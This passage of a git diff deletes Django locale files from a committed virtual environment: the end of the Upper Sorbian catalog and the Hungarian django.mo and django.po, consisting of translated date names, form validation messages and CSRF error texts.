"Pjatk" - -msgid "Saturday" -msgstr "Sobota" - -msgid "Sunday" -msgstr "Njedźela" - -msgid "Mon" -msgstr "Pón" - -msgid "Tue" -msgstr "Wut" - -msgid "Wed" -msgstr "Srj" - -msgid "Thu" -msgstr "Štw" - -msgid "Fri" -msgstr "Pja" - -msgid "Sat" -msgstr "Sob" - -msgid "Sun" -msgstr "Nje" - -msgid "January" -msgstr "Januar" - -msgid "February" -msgstr "Februar" - -msgid "March" -msgstr "Měrc" - -msgid "April" -msgstr "Apryl" - -msgid "May" -msgstr "Meja" - -msgid "June" -msgstr "Junij" - -msgid "July" -msgstr "Julij" - -msgid "August" -msgstr "Awgust" - -msgid "September" -msgstr "September" - -msgid "October" -msgstr "Oktober" - -msgid "November" -msgstr "Nowember" - -msgid "December" -msgstr "December" - -msgid "jan" -msgstr "jan." - -msgid "feb" -msgstr "feb." - -msgid "mar" -msgstr "měr." - -msgid "apr" -msgstr "apr." - -msgid "may" -msgstr "mej." - -msgid "jun" -msgstr "jun." - -msgid "jul" -msgstr "jul." - -msgid "aug" -msgstr "awg." - -msgid "sep" -msgstr "sep." - -msgid "oct" -msgstr "okt." - -msgid "nov" -msgstr "now." - -msgid "dec" -msgstr "dec." - -msgctxt "abbrev. month" -msgid "Jan." -msgstr "Jan." - -msgctxt "abbrev. month" -msgid "Feb." -msgstr "Feb." - -msgctxt "abbrev. month" -msgid "March" -msgstr "Měrc" - -msgctxt "abbrev. month" -msgid "April" -msgstr "Apryl" - -msgctxt "abbrev. month" -msgid "May" -msgstr "Meja" - -msgctxt "abbrev. month" -msgid "June" -msgstr "Junij" - -msgctxt "abbrev. month" -msgid "July" -msgstr "Julij" - -msgctxt "abbrev. month" -msgid "Aug." -msgstr "Awg." - -msgctxt "abbrev. month" -msgid "Sept." -msgstr "Sept." - -msgctxt "abbrev. month" -msgid "Oct." -msgstr "Okt." - -msgctxt "abbrev. month" -msgid "Nov." -msgstr "Now." - -msgctxt "abbrev. month" -msgid "Dec." -msgstr "Dec." - -msgctxt "alt. month" -msgid "January" -msgstr "Januar" - -msgctxt "alt. month" -msgid "February" -msgstr "Februar" - -msgctxt "alt. month" -msgid "March" -msgstr "Měrc" - -msgctxt "alt. month" -msgid "April" -msgstr "Apryl" - -msgctxt "alt. month" -msgid "May" -msgstr "Meja" - -msgctxt "alt. month" -msgid "June" -msgstr "Junij" - -msgctxt "alt. month" -msgid "July" -msgstr "Julij" - -msgctxt "alt. month" -msgid "August" -msgstr "Awgust" - -msgctxt "alt. month" -msgid "September" -msgstr "September" - -msgctxt "alt. month" -msgid "October" -msgstr "Oktober" - -msgctxt "alt. month" -msgid "November" -msgstr "Nowember" - -msgctxt "alt. month" -msgid "December" -msgstr "December" - -msgid "This is not a valid IPv6 address." -msgstr "To płaćiwa IPv6-adresa njeje." - -#, python-format -msgctxt "String to return when truncating text" -msgid "%(truncated_text)s…" -msgstr "%(truncated_text)s…" - -msgid "or" -msgstr "abo" - -#. Translators: This string is used as a separator between list elements -msgid ", " -msgstr ", " - -#, python-format -msgid "%(num)d year" -msgid_plural "%(num)d years" -msgstr[0] "%(num)d lěto" -msgstr[1] "%(num)dlěće" -msgstr[2] "%(num)d lěta" -msgstr[3] "%(num)d lět" - -#, python-format -msgid "%(num)d month" -msgid_plural "%(num)d months" -msgstr[0] "%(num)d měsac" -msgstr[1] "%(num)d měsacaj" -msgstr[2] "%(num)d měsacy" -msgstr[3] "%(num)d měsacow" - -#, python-format -msgid "%(num)d week" -msgid_plural "%(num)d weeks" -msgstr[0] "%(num)d tydźeń" -msgstr[1] "%(num)d njedźeli" -msgstr[2] "%(num)d njedźele" -msgstr[3] "%(num)d njedźel" - -#, python-format -msgid "%(num)d day" -msgid_plural "%(num)d days" -msgstr[0] "%(num)d dźeń" -msgstr[1] "%(num)d dnjej" -msgstr[2] "%(num)d dny" -msgstr[3] "%(num)d dnjow" - -#, python-format -msgid "%(num)d hour" -msgid_plural "%(num)d hours" -msgstr[0] "%(num)d hodźina" -msgstr[1] "%(num)d hodźinje" -msgstr[2] "%(num)d hodźiny" -msgstr[3] "%(num)d hodźin" - -#, python-format -msgid "%(num)d minute" -msgid_plural "%(num)d minutes" -msgstr[0] "%(num)d mjeńšina" -msgstr[1] "%(num)d mjeńšinje" -msgstr[2] "%(num)d mjeńšiny" -msgstr[3] "%(num)d mjeńšin" - -msgid "Forbidden" -msgstr "Zakazany" - -msgid "CSRF verification failed. Request aborted." -msgstr "CSRF-přepruwowanje je so nimokuliło. Naprašowanje je so přetorhnyło." - -msgid "" -"You are seeing this message because this HTTPS site requires a “Referer " -"header” to be sent by your web browser, but none was sent. This header is " -"required for security reasons, to ensure that your browser is not being " -"hijacked by third parties." -msgstr "" -"Widźiće tutu zdźělenku, dokelž tute HTTPS-sydło \"Referer header\" trjeba, " -"kotryž so ma na waš webwobhladowak pósłać, ale žadyn njeje so pósłał. Tutón " -"header je z wěstotnych přičinow trěbny, zo by so zawěsćiło, zo waš " -"wobhladowak so wot třećich njekapruje." - -msgid "" -"If you have configured your browser to disable “Referer” headers, please re-" -"enable them, at least for this site, or for HTTPS connections, or for “same-" -"origin” requests." -msgstr "" -"Jei sće swój wobhladowak tak konfigurował, zo su hłowy „Referer“ " -"znjemóžnjene, zmóžńće je, znajmjeńša za tute sydło abo za HTTPS-zwiski abo " -"za naprašowanja „sameorigin“." - -msgid "" -"If you are using the tag or " -"including the “Referrer-Policy: no-referrer” header, please remove them. The " -"CSRF protection requires the “Referer” header to do strict referer checking. " -"If you’re concerned about privacy, use alternatives like for links to third-party sites." -msgstr "" -"Jeli značku wužiwaće abo hłowu „Referrer-Policy: no-referrer“ zapřijimaće, " -"wotstrońće je prošu. CSRF-škit trjeba hłowu „Referer“ , zo by striktnu " -"kontrolu referer přewjedźe. Jeli so wo priwatnosć staraće, wužiwajće " -"alternatiwy kaž za wotkazy k sydłam třećich." - -msgid "" -"You are seeing this message because this site requires a CSRF cookie when " -"submitting forms. This cookie is required for security reasons, to ensure " -"that your browser is not being hijacked by third parties." -msgstr "" -"Widźiće tutu zdźělenku, dokelž tute sydło CSRF-plack trjeba, hdyž so " -"formulary wotesyłaja. Tutón plack je z přičinow wěstoty trěbny, zo by so waš " -"wobhladowak wot třećich njekapruje." - -msgid "" -"If you have configured your browser to disable cookies, please re-enable " -"them, at least for this site, or for “same-origin” requests." -msgstr "" -"Jeli sće swój wobhladowak tak konfigurował, zo su placki znjemóžnjene, " -"zmóžńće je zaso, znajmjeńša za tute sydło abo za naprašowanja „same-origin“." - -msgid "More information is available with DEBUG=True." -msgstr "Z DEBUG=True su dalše informacije k dispoziciji." - -msgid "No year specified" -msgstr "Žane lěto podate" - -msgid "Date out of range" -msgstr "Datum zwonka wobłuka" - -msgid "No month specified" -msgstr "Žadyn měsac podaty" - -msgid "No day specified" -msgstr "Žadyn dźeń podaty" - -msgid "No week specified" -msgstr "Žadyn tydźeń podaty" - -#, python-format -msgid "No %(verbose_name_plural)s available" -msgstr "Žadyn %(verbose_name_plural)s k dispoziciji njeje" - -#, python-format -msgid "" -"Future %(verbose_name_plural)s not available because %(class_name)s." -"allow_future is False." -msgstr "" -"Přichodowe %(verbose_name_plural)s k dispoziciji njejsu, dokelž hódnota " -"%(class_name)s.allow_future je False." - -#, python-format -msgid "Invalid date string “%(datestr)s” given format “%(format)s”" -msgstr "" -"Njepłaćiwy „%(format)s“ za datumowy znamješkowy rjaćazk „%(datestr)s“ podaty" - -#, python-format -msgid "No %(verbose_name)s found matching the query" -msgstr "Žane %(verbose_name)s namakane, kotrež naprašowanju wotpowěduje" - -msgid "Page is not “last”, nor can it be converted to an int." -msgstr "Strona „last“ njeje, ani njeda so do int konwertować." - -#, python-format -msgid "Invalid page (%(page_number)s): %(message)s" -msgstr "Njepłaćiwa strona (%(page_number)s): %(message)s" - -#, python-format -msgid "Empty list and “%(class_name)s.allow_empty” is False." -msgstr "Prózdna lisćina a „%(class_name)s.allow_empty“ je False." - -msgid "Directory indexes are not allowed here." -msgstr "Zapisowe indeksy tu dowolone njejsu." - -#, python-format -msgid "“%(path)s” does not exist" -msgstr "„%(path)s“ njeeksistuje" - -#, python-format -msgid "Index of %(directory)s" -msgstr "Indeks %(directory)s" - -msgid "The install worked successfully! Congratulations!" -msgstr "Instalacija bě wuspěšna! Zbožopřeće!" - -#, python-format -msgid "" -"View release notes for Django %(version)s" -msgstr "" -"Čitajće wersijowe informacije za Django " -"%(version)s" - -#, python-format -msgid "" -"You are seeing this page because DEBUG=True is in your settings file and you have not " -"configured any URLs." -msgstr "" -"Widźiće tutu stronu, dokelž DEBUG=True je we wašej dataji nastajenjow a njejsće URL " -"skonfigurował." - -msgid "Django Documentation" -msgstr "Dokumentacija Django" - -msgid "Topics, references, & how-to’s" -msgstr "Temy, referency a nawody" - -msgid "Tutorial: A Polling App" -msgstr "Nawod: Naprašowanske nałoženje" - -msgid "Get started with Django" -msgstr "Prěnje kroki z Django" - -msgid "Django Community" -msgstr "Zhromadźenstwo Django" - -msgid "Connect, get help, or contribute" -msgstr "Zwjazać, pomoc wobstarać abo přinošować" diff --git a/backend/venv/Lib/site-packages/django/conf/locale/hu/LC_MESSAGES/django.mo b/backend/venv/Lib/site-packages/django/conf/locale/hu/LC_MESSAGES/django.mo deleted file mode 100644 index 1cb8408d..00000000 Binary files a/backend/venv/Lib/site-packages/django/conf/locale/hu/LC_MESSAGES/django.mo and /dev/null differ diff --git a/backend/venv/Lib/site-packages/django/conf/locale/hu/LC_MESSAGES/django.po b/backend/venv/Lib/site-packages/django/conf/locale/hu/LC_MESSAGES/django.po deleted file mode 100644 index 15ab931b..00000000 --- a/backend/venv/Lib/site-packages/django/conf/locale/hu/LC_MESSAGES/django.po +++ /dev/null @@ -1,1365 +0,0 @@ -# This file is distributed under the same license as the Django package. -# -# Translators: -# Akos Zsolt Hochrein , 2018 -# András Veres-Szentkirályi, 2016-2021,2023 -# Attila Nagy <>, 2012 -# Balázs Meskó , 2024 -# Balázs R, 2023,2025 -# Dóra Szendrei , 2017 -# Istvan Farkas , 2019 -# Jannis Leidel , 2011 -# János R, 2011-2012,2014 -# János R, 2022 -# Máté Őry , 2013 -# Szilveszter Farkas , 2011 -msgid "" -msgstr "" -"Project-Id-Version: django\n" -"Report-Msgid-Bugs-To: \n" -"POT-Creation-Date: 2025-03-19 11:30-0500\n" -"PO-Revision-Date: 2025-04-01 15:04-0500\n" -"Last-Translator: Balázs R, 2023,2025\n" -"Language-Team: Hungarian (http://app.transifex.com/django/django/language/" -"hu/)\n" -"MIME-Version: 1.0\n" -"Content-Type: text/plain; charset=UTF-8\n" -"Content-Transfer-Encoding: 8bit\n" -"Language: hu\n" -"Plural-Forms: nplurals=2; plural=(n != 1);\n" - -msgid "Afrikaans" -msgstr "Afrikaans" - -msgid "Arabic" -msgstr "Arab" - -msgid "Algerian Arabic" -msgstr "algériai arab" - -msgid "Asturian" -msgstr "Asztúriai" - -msgid "Azerbaijani" -msgstr "azerbajdzsáni" - -msgid "Bulgarian" -msgstr "Bolgár" - -msgid "Belarusian" -msgstr "Belarusz" - -msgid "Bengali" -msgstr "Bengáli" - -msgid "Breton" -msgstr "Breton" - -msgid "Bosnian" -msgstr "Bosnyák" - -msgid "Catalan" -msgstr "Katalán" - -msgid "Central Kurdish (Sorani)" -msgstr "Közép-kurd (szoráni)" - -msgid "Czech" -msgstr "Cseh" - -msgid "Welsh" -msgstr "Walesi" - -msgid "Danish" -msgstr "Dán" - -msgid "German" -msgstr "Német" - -msgid "Lower Sorbian" -msgstr "Alsószorb" - -msgid "Greek" -msgstr "Görög" - -msgid "English" -msgstr "Angol" - -msgid "Australian English" -msgstr "Ausztráliai angol" - -msgid "British English" -msgstr "Brit angol" - -msgid "Esperanto" -msgstr "Eszperantó" - -msgid "Spanish" -msgstr "Spanyol" - -msgid "Argentinian Spanish" -msgstr "Argentin spanyol" - -msgid "Colombian Spanish" -msgstr "Kolumbiai spanyol" - -msgid "Mexican Spanish" -msgstr "Mexikói spanyol" - -msgid "Nicaraguan Spanish" -msgstr "Nicaraguai spanyol" - -msgid "Venezuelan Spanish" -msgstr "Venezuelai spanyol" - -msgid "Estonian" -msgstr "Észt" - -msgid "Basque" -msgstr "Baszk " - -msgid "Persian" -msgstr "Perzsa" - -msgid "Finnish" -msgstr "Finn" - -msgid "French" -msgstr "Francia" - -msgid "Frisian" -msgstr "Fríz" - -msgid "Irish" -msgstr "Ír" - -msgid "Scottish Gaelic" -msgstr "Skót gael" - -msgid "Galician" -msgstr "Gall" - -msgid "Hebrew" -msgstr "Héber" - -msgid "Hindi" -msgstr "Hindi" - -msgid "Croatian" -msgstr "Horvát" - -msgid "Upper Sorbian" -msgstr "Felsőszorb" - -msgid "Hungarian" -msgstr "Magyar" - -msgid "Armenian" -msgstr "Örmény" - -msgid "Interlingua" -msgstr "Interlingua" - -msgid "Indonesian" -msgstr "Indonéz" - -msgid "Igbo" -msgstr "igbo" - -msgid "Ido" -msgstr "Ido" - -msgid "Icelandic" -msgstr "Izlandi" - -msgid "Italian" -msgstr "Olasz" - -msgid "Japanese" -msgstr "Japán" - -msgid "Georgian" -msgstr "Grúz" - -msgid "Kabyle" -msgstr "Kabil" - -msgid "Kazakh" -msgstr "Kazak" - -msgid "Khmer" -msgstr "Khmer" - -msgid "Kannada" -msgstr "Kannada" - -msgid "Korean" -msgstr "Koreai" - -msgid "Kyrgyz" -msgstr "kirgiz" - -msgid "Luxembourgish" -msgstr "Luxemburgi" - -msgid "Lithuanian" -msgstr "Litván" - -msgid "Latvian" -msgstr "Lett" - -msgid "Macedonian" -msgstr "Macedón" - -msgid "Malayalam" -msgstr "Malajálam" - -msgid "Mongolian" -msgstr "Mongol" - -msgid "Marathi" -msgstr "Maráthi" - -msgid "Malay" -msgstr "Maláj" - -msgid "Burmese" -msgstr "Burmai" - -msgid "Norwegian Bokmål" -msgstr "Bokmål norvég" - -msgid "Nepali" -msgstr "Nepáli" - -msgid "Dutch" -msgstr "Holland" - -msgid "Norwegian Nynorsk" -msgstr "Nynorsk norvég" - -msgid "Ossetic" -msgstr "Oszét" - -msgid "Punjabi" -msgstr "Punjabi" - -msgid "Polish" -msgstr "Lengyel" - -msgid "Portuguese" -msgstr "Portugál" - -msgid "Brazilian Portuguese" -msgstr "Brazíliai portugál" - -msgid "Romanian" -msgstr "Román" - -msgid "Russian" -msgstr "Orosz" - -msgid "Slovak" -msgstr "Szlovák" - -msgid "Slovenian" -msgstr "Szlovén" - -msgid "Albanian" -msgstr "Albán" - -msgid "Serbian" -msgstr "Szerb" - -msgid "Serbian Latin" -msgstr "Latin betűs szerb" - -msgid "Swedish" -msgstr "Svéd" - -msgid "Swahili" -msgstr "Szuahéli" - -msgid "Tamil" -msgstr "Tamil" - -msgid "Telugu" -msgstr "Telugu" - -msgid "Tajik" -msgstr "Tádzsik" - -msgid "Thai" -msgstr "Thai" - -msgid "Turkmen" -msgstr "Türkmén" - -msgid "Turkish" -msgstr "Török" - -msgid "Tatar" -msgstr "Tatár" - -msgid "Udmurt" -msgstr "Udmurt" - -msgid "Uyghur" -msgstr "Ujgur" - -msgid "Ukrainian" -msgstr "Ukrán" - -msgid "Urdu" -msgstr "urdu" - -msgid "Uzbek" -msgstr "Üzbég" - -msgid "Vietnamese" -msgstr "Vietnámi" - -msgid "Simplified Chinese" -msgstr "Egyszerű kínai" - -msgid "Traditional Chinese" -msgstr "Hagyományos kínai" - -msgid "Messages" -msgstr "Üzenetek" - -msgid "Site Maps" -msgstr "Oldaltérképek" - -msgid "Static Files" -msgstr "Statikus fájlok" - -msgid "Syndication" -msgstr "Szindikáció" - -#. Translators: String used to replace omitted page numbers in elided page -#. range generated by paginators, e.g. [1, 2, '…', 5, 6, 7, '…', 9, 10]. -msgid "…" -msgstr "…" - -msgid "That page number is not an integer" -msgstr "Az oldalszám nem egész szám." - -msgid "That page number is less than 1" -msgstr "Az oldalszám kisebb, mint 1" - -msgid "That page contains no results" -msgstr "Az oldal nem tartalmaz találatokat" - -msgid "Enter a valid value." -msgstr "Adjon meg egy érvényes értéket." - -msgid "Enter a valid domain name." -msgstr "Adjon meg egy érvényes domain nevet." - -msgid "Enter a valid URL." -msgstr "Adjon meg egy érvényes URL-t." - -msgid "Enter a valid integer." -msgstr "Adjon meg egy érvényes számot." - -msgid "Enter a valid email address." -msgstr "Írjon be egy érvényes e-mail címet." - -#. Translators: "letters" means latin letters: a-z and A-Z. -msgid "" -"Enter a valid “slug” consisting of letters, numbers, underscores or hyphens." -msgstr "" -"Kérjük adjon meg egy érvényes \"domain-darabkát\", amely csak ékezet nélküli " -"betűkből, számokból, aláhúzásból és kötőjelből áll." - -msgid "" -"Enter a valid “slug” consisting of Unicode letters, numbers, underscores, or " -"hyphens." -msgstr "" -"Kérjük adjon meg egy érvényes \"domain-darabkát\", amely csak betűkből, " -"számokból, aláhúzásból és kötőjelből áll." - -#, python-format -msgid "Enter a valid %(protocol)s address." -msgstr "Adjon meg egy érvényes %(protocol)s címet." - -msgid "IPv4" -msgstr "IPv4" - -msgid "IPv6" -msgstr "IPv6" - -msgid "IPv4 or IPv6" -msgstr "IPv4 vagy IPv6" - -msgid "Enter only digits separated by commas." -msgstr "Csak számokat adjon meg, vesszővel elválasztva." - -#, python-format -msgid "Ensure this value is %(limit_value)s (it is %(show_value)s)." -msgstr "" -"Bizonyosodjon meg arról, hogy az érték %(limit_value)s (jelenleg: " -"%(show_value)s)." - -#, python-format -msgid "Ensure this value is less than or equal to %(limit_value)s." -msgstr "Bizonyosodjon meg arról, hogy az érték %(limit_value)s, vagy kisebb." - -#, python-format -msgid "Ensure this value is greater than or equal to %(limit_value)s." -msgstr "Bizonyosodjon meg arról, hogy az érték %(limit_value)s, vagy nagyobb." - -#, python-format -msgid "Ensure this value is a multiple of step size %(limit_value)s." -msgstr "Bizonyosodjon meg arról, hogy az érték %(limit_value)s többszöröse." - -#, python-format -msgid "" -"Ensure this value is a multiple of step size %(limit_value)s, starting from " -"%(offset)s, e.g. %(offset)s, %(valid_value1)s, %(valid_value2)s, and so on." -msgstr "" -"Az érték %(limit_value)s többszörösével kell hogy eltérjen %(offset)s-hoz " -"képest, pl. %(offset)s, %(valid_value1)s, %(valid_value2)s, és így tovább. " - -#, python-format -msgid "" -"Ensure this value has at least %(limit_value)d character (it has " -"%(show_value)d)." -msgid_plural "" -"Ensure this value has at least %(limit_value)d characters (it has " -"%(show_value)d)." -msgstr[0] "" -"Bizonyosodjon meg arról, hogy ez az érték legalább %(limit_value)d karaktert " -"tartalmaz (jelenlegi hossza: %(show_value)d)." -msgstr[1] "" -"Bizonyosodjon meg arról, hogy ez az érték legalább %(limit_value)d karaktert " -"tartalmaz (jelenlegi hossza: %(show_value)d)." - -#, python-format -msgid "" -"Ensure this value has at most %(limit_value)d character (it has " -"%(show_value)d)." -msgid_plural "" -"Ensure this value has at most %(limit_value)d characters (it has " -"%(show_value)d)." -msgstr[0] "" -"Bizonyosodjon meg arról, hogy ez az érték legfeljebb %(limit_value)d " -"karaktert tartalmaz (jelenlegi hossza: %(show_value)d)." -msgstr[1] "" -"Bizonyosodjon meg arról, hogy ez az érték legfeljebb %(limit_value)d " -"karaktert tartalmaz (jelenlegi hossza: %(show_value)d)." - -msgid "Enter a number." -msgstr "Adj meg egy számot." - -#, python-format -msgid "Ensure that there are no more than %(max)s digit in total." -msgid_plural "Ensure that there are no more than %(max)s digits in total." -msgstr[0] "Bizonyosodjon meg arról, hogy legfeljebb %(max)s számjegyből áll." -msgstr[1] "Bizonyosodjon meg arról, hogy legfeljebb %(max)s számjegyből áll." - -#, python-format -msgid "Ensure that there are no more than %(max)s decimal place." -msgid_plural "Ensure that there are no more than %(max)s decimal places." -msgstr[0] "" -"Bizonyosodjon meg arról, hogy legfeljebb %(max)s tizedesjegyből áll." -msgstr[1] "" -"Bizonyosodjon meg arról, hogy legfeljebb %(max)s tizedesjegyből áll." - -#, python-format -msgid "" -"Ensure that there are no more than %(max)s digit before the decimal point." -msgid_plural "" -"Ensure that there are no more than %(max)s digits before the decimal point." -msgstr[0] "" -"Bizonyosodjon meg arról, hogy legfeljebb %(max)s számjegy van a " -"tizedesvessző előtt." -msgstr[1] "" -"Bizonyosodjon meg arról, hogy legfeljebb %(max)s számjegy van a " -"tizedesvessző előtt." - -#, python-format -msgid "" -"File extension “%(extension)s” is not allowed. Allowed extensions are: " -"%(allowed_extensions)s." -msgstr "" -"A(z) \"%(extension)s\" kiterjesztés nincs engedélyezve. Az engedélyezett " -"fájltípusok: %(allowed_extensions)s." - -msgid "Null characters are not allowed." -msgstr "Null karakterek használata nem megengedett." - -msgid "and" -msgstr "és" - -#, python-format -msgid "%(model_name)s with this %(field_labels)s already exists." -msgstr "Már létezik %(model_name)s ilyennel: %(field_labels)s." - -#, python-format -msgid "Constraint “%(name)s” is violated." -msgstr "„%(name)s” megszorítás megsértve." - -#, python-format -msgid "Value %(value)r is not a valid choice." -msgstr "%(value)r érték érvénytelen." - -msgid "This field cannot be null." -msgstr "Ez a mező nem lehet nulla." - -msgid "This field cannot be blank." -msgstr "Ez a mező nem lehet üres." - -#, python-format -msgid "%(model_name)s with this %(field_label)s already exists." -msgstr "Már létezik %(model_name)s ilyennel: %(field_label)s." - -#. Translators: The 'lookup_type' is one of 'date', 'year' or -#. 'month'. Eg: "Title must be unique for pub_date year" -#, python-format -msgid "" -"%(field_label)s must be unique for %(date_field_label)s %(lookup_type)s." -msgstr "" -"%(field_label)s egyedi kell hogy legyen %(lookup_type)s alapján a(z) " -"%(date_field_label)s mezőn." - -#, python-format -msgid "Field of type: %(field_type)s" -msgstr "Mezőtípus: %(field_type)s" - -#, python-format -msgid "“%(value)s” value must be either True or False." -msgstr "A(z) \"%(value)s\" értéke csak True vagy False lehet." - -#, python-format -msgid "“%(value)s” value must be either True, False, or None." -msgstr "A(z) \"%(value)s\" értéke csak True, False vagy üres lehet." - -msgid "Boolean (Either True or False)" -msgstr "Logikai (True vagy False)" - -#, python-format -msgid "String (up to %(max_length)s)" -msgstr "Karakterlánc (%(max_length)s hosszig)" - -msgid "String (unlimited)" -msgstr "Karakterlánc (korlátlan hosszúságú)" - -msgid "Comma-separated integers" -msgstr "Vesszővel elválasztott egészek" - -#, python-format -msgid "" -"“%(value)s” value has an invalid date format. It must be in YYYY-MM-DD " -"format." -msgstr "" -"A(z) \"%(value)s\" érvénytelen dátumformátumot tartalmaz. A dátumnak ÉÉÉÉ-HH-" -"NN formában kell lennie." - -#, python-format -msgid "" -"“%(value)s” value has the correct format (YYYY-MM-DD) but it is an invalid " -"date." -msgstr "" -"A(z) \"%(value)s\" értéke formára (ÉÉÉÉ-HH-NN) megfelel ugyan, de " -"érvénytelen dátumot tartalmaz." - -msgid "Date (without time)" -msgstr "Dátum (idő nélkül)" - -#, python-format -msgid "" -"“%(value)s” value has an invalid format. It must be in YYYY-MM-DD HH:MM[:ss[." -"uuuuuu]][TZ] format." -msgstr "" -"A(z) \"%(value)s\" érvénytelen dátumformátumot tartalmaz. A dátumnak ÉÉÉÉ-HH-" -"NN ÓÓ:PP[:mm[.uuuuuu]][TZ] formában kell lennie." - -#, python-format -msgid "" -"“%(value)s” value has the correct format (YYYY-MM-DD HH:MM[:ss[.uuuuuu]]" -"[TZ]) but it is an invalid date/time." -msgstr "" -"A(z) \"%(value)s\" értéke formára (ÉÉÉÉ-HH-NN ÓÓ:PP[:mm[:uuuuuu]][TZ]) " -"megfelel ugyan, de érvénytelen dátumot vagy időt tartalmaz." - -msgid "Date (with time)" -msgstr "Dátum (idővel)" - -#, python-format -msgid "“%(value)s” value must be a decimal number." -msgstr "A(z) \"%(value)s\" értékének tizes számrendszerű számnak kell lennie." - -msgid "Decimal number" -msgstr "Tizes számrendszerű (decimális) szám" - -#, python-format -msgid "" -"“%(value)s” value has an invalid format. It must be in [DD] [[HH:]MM:]ss[." -"uuuuuu] format." -msgstr "" -"A(z) \"%(value)s\" érvénytelen idő formátumot tartalmaz. Az időnek ÓÓ:PP[:" -"mm[.uuuuuu]] formában kell lennie." - -msgid "Duration" -msgstr "Időtartam" - -msgid "Email address" -msgstr "E-mail cím" - -msgid "File path" -msgstr "Elérési út" - -#, python-format -msgid "“%(value)s” value must be a float." -msgstr "A(z) \"%(value)s\" értékének lebegőpontos számnak kell lennie." - -msgid "Floating point number" -msgstr "Lebegőpontos szám" - -#, python-format -msgid "“%(value)s” value must be an integer." -msgstr "A(z) \"%(value)s\" értékének egész számnak kell lennie." - -msgid "Integer" -msgstr "Egész" - -msgid "Big (8 byte) integer" -msgstr "Nagy egész szám (8 bájtos)" - -msgid "Small integer" -msgstr "Kis egész" - -msgid "IPv4 address" -msgstr "IPv4 cím" - -msgid "IP address" -msgstr "IP cím" - -#, python-format -msgid "“%(value)s” value must be either None, True or False." -msgstr "Az \"%(value)s\" értéke csak üres, True, vagy False lehet." - -msgid "Boolean (Either True, False or None)" -msgstr "Logikai (True, False vagy None)" - -msgid "Positive big integer" -msgstr "Pozitív nagy egész" - -msgid "Positive integer" -msgstr "Pozitív egész" - -msgid "Positive small integer" -msgstr "Pozitív kis egész" - -#, python-format -msgid "Slug (up to %(max_length)s)" -msgstr "URL-barát cím (%(max_length)s hosszig)" - -msgid "Text" -msgstr "Szöveg" - -#, python-format -msgid "" -"“%(value)s” value has an invalid format. It must be in HH:MM[:ss[.uuuuuu]] " -"format." -msgstr "" -"A(z) \"%(value)s\" érvénytelen idő formátumot tartalmaz. Az időnek ÓÓ:PP[:" -"mm[.uuuuuu]] formában kell lennie." - -#, python-format -msgid "" -"“%(value)s” value has the correct format (HH:MM[:ss[.uuuuuu]]) but it is an " -"invalid time." -msgstr "" -"A(z) \"%(value)s\" értéke formára (ÓÓ:PP[:mm[:uuuuuu]][TZ]) megfelel ugyan, " -"de érvénytelen időt tartalmaz." - -msgid "Time" -msgstr "Idő" - -msgid "URL" -msgstr "URL" - -msgid "Raw binary data" -msgstr "Nyers bináris adat" - -#, python-format -msgid "“%(value)s” is not a valid UUID." -msgstr "A(z) \"%(value)s\" értéke nem érvényes UUID érték." - -msgid "Universally unique identifier" -msgstr "Univerzálisan egyedi azonosító" - -msgid "File" -msgstr "Fájl" - -msgid "Image" -msgstr "Kép" - -msgid "A JSON object" -msgstr "Egy JSON objektum" - -msgid "Value must be valid JSON." -msgstr "Az érték érvényes JSON kell legyen." - -#, python-format -msgid "%(model)s instance with %(field)s %(value)r is not a valid choice." -msgstr "" - -msgid "Foreign Key (type determined by related field)" -msgstr "Idegen kulcs (típusa a kapcsolódó mezőtől függ)" - -msgid "One-to-one relationship" -msgstr "Egy-egy kapcsolat" - -#, python-format -msgid "%(from)s-%(to)s relationship" -msgstr "%(from)s-%(to)s kapcsolat" - -#, python-format -msgid "%(from)s-%(to)s relationships" -msgstr "%(from)s-%(to)s kapcsolatok" - -msgid "Many-to-many relationship" -msgstr "Több-több kapcsolat" - -#. Translators: If found as last label character, these punctuation -#. characters will prevent the default label_suffix to be appended to the -#. label -msgid ":?.!" -msgstr ":?.!" - -msgid "This field is required." -msgstr "Ennek a mezőnek a megadása kötelező." - -msgid "Enter a whole number." -msgstr "Adjon meg egy egész számot." - -msgid "Enter a valid date." -msgstr "Adjon meg egy érvényes dátumot." - -msgid "Enter a valid time." -msgstr "Adjon meg egy érvényes időt." - -msgid "Enter a valid date/time." -msgstr "Adjon meg egy érvényes dátumot/időt." - -msgid "Enter a valid duration." -msgstr "Adjon meg egy érvényes időtartamot." - -#, python-brace-format -msgid "The number of days must be between {min_days} and {max_days}." -msgstr "A napok számának {min_days} és {max_days} közé kell esnie." - -msgid "No file was submitted. Check the encoding type on the form." -msgstr "Nem küldött el fájlt. Ellenőrizze a kódolás típusát az űrlapon." - -msgid "No file was submitted." -msgstr "Semmilyen fájl sem került feltöltésre." - -msgid "The submitted file is empty." -msgstr "A küldött fájl üres." - -#, python-format -msgid "Ensure this filename has at most %(max)d character (it has %(length)d)." -msgid_plural "" -"Ensure this filename has at most %(max)d characters (it has %(length)d)." -msgstr[0] "" -"Bizonyosodjon meg arról, hogy a fájlnév legfeljebb %(max)d karakterből áll " -"(jelenlegi hossza: %(length)d)." -msgstr[1] "" -"Bizonyosodjon meg arról, hogy a fájlnév legfeljebb %(max)d karakterből áll " -"(jelenlegi hossza: %(length)d)." - -msgid "Please either submit a file or check the clear checkbox, not both." -msgstr "" -"Küldjön egy új fájlt, vagy jelölje be a törlés négyzetet, de ne mindkettőt " -"egyszerre." - -msgid "" -"Upload a valid image. The file you uploaded was either not an image or a " -"corrupted image." -msgstr "" -"Töltsön fel egy érvényes képfájlt. A feltöltött fájl nem kép volt, vagy " -"megsérült." - -#, python-format -msgid "Select a valid choice. %(value)s is not one of the available choices." -msgstr "" -"Válasszon érvényes elemet. '%(value)s' nincs az elérhető lehetőségek között." - -msgid "Enter a list of values." -msgstr "Adja meg értékek egy listáját." - -msgid "Enter a complete value." -msgstr "Adjon meg egy teljes értéket." - -msgid "Enter a valid UUID." -msgstr "Adjon meg egy érvényes UUID-t." - -msgid "Enter a valid JSON." -msgstr "Adjon meg egy érvényes JSON-t." - -#. Translators: This is the default suffix added to form field labels -msgid ":" -msgstr ":" - -#, python-format -msgid "(Hidden field %(name)s) %(error)s" -msgstr "(Rejtett mező: %(name)s) %(error)s" - -#, python-format -msgid "" -"ManagementForm data is missing or has been tampered with. Missing fields: " -"%(field_names)s. You may need to file a bug report if the issue persists." -msgstr "" -"ManagementForm adatok hiányoznak vagy hamisításra kerültek. A hiányzó mezők: " -"%(field_names)s. Ha ez többször is előfordul, érdemes bejelenteni hibaként." - -#, python-format -msgid "Please submit at most %(num)d form." -msgid_plural "Please submit at most %(num)d forms." 